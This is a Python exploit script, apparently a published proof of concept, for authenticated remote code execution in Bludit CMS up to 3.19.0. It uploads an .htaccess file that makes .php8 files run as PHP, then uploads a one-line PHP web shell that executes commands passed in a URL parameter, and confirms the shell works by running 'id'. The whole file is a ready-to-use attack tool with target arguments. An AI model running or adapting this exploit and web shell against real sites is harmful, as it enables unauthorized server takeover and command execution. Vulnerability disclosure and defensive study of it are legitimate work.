#!/usr/bin/env python3
"""
Bludit CMS <= 3.19.0 - Authenticated RCE via .htaccess Upload
Extension Blocklist Bypass
Exploit Author: Yahia Hamza (https://yh.do)
"""
import requests, sys, argparse
def upload_file(target, api_token, auth_token, page_key, filename, content):
url = f"{target}/api/files/{page_key}"
files = {'file': (filename, content, 'application/octet-stream')}
data = {'token': api_token, 'authentication': auth_token}
r = requests.post(url, files=files, data=data, timeout=15)
return r.json().get("status") == "0", r.json()
def exploit(target, api_token, auth_token, page_key):
target = target.rstrip('/')
# Step 1: Upload .htaccess
ok, r = upload_file(target, api_token, auth_token, page_key,
".htaccess", "AddType application/x-httpd-php .php8")
if not ok: sys.exit("[-] .htaccess upload failed")
print("[+] .htaccess uploaded")
# Step 2: Upload webshell as .php8
shell = '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>'
ok, r = upload_file(target, api_token, auth_token, page_key, "shell.php8", shell)
if not ok: sys.exit("[-] Shell upload failed")
shell_url = f"{target}/bl-content/uploads/pages/{page_key}/shell.php8"
print(f"[+] Shell: {shell_url}")
# Step 3: Verify RCE
r = requests.get(f"{shell_url}?cmd=id")
print(f"[+] RCE: {r.text.strip()}")
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("-t", "--target", required=True)
p.add_argument("-a", "--api-token", required=True)
p.add_argument("-u", "--auth-token", required=True)
p.add_argument("-p", "--page-key", default="create-your-own-content")
args = p.parse_args()
exploit(args.target, args.api_token, args.auth_token, args.page_key)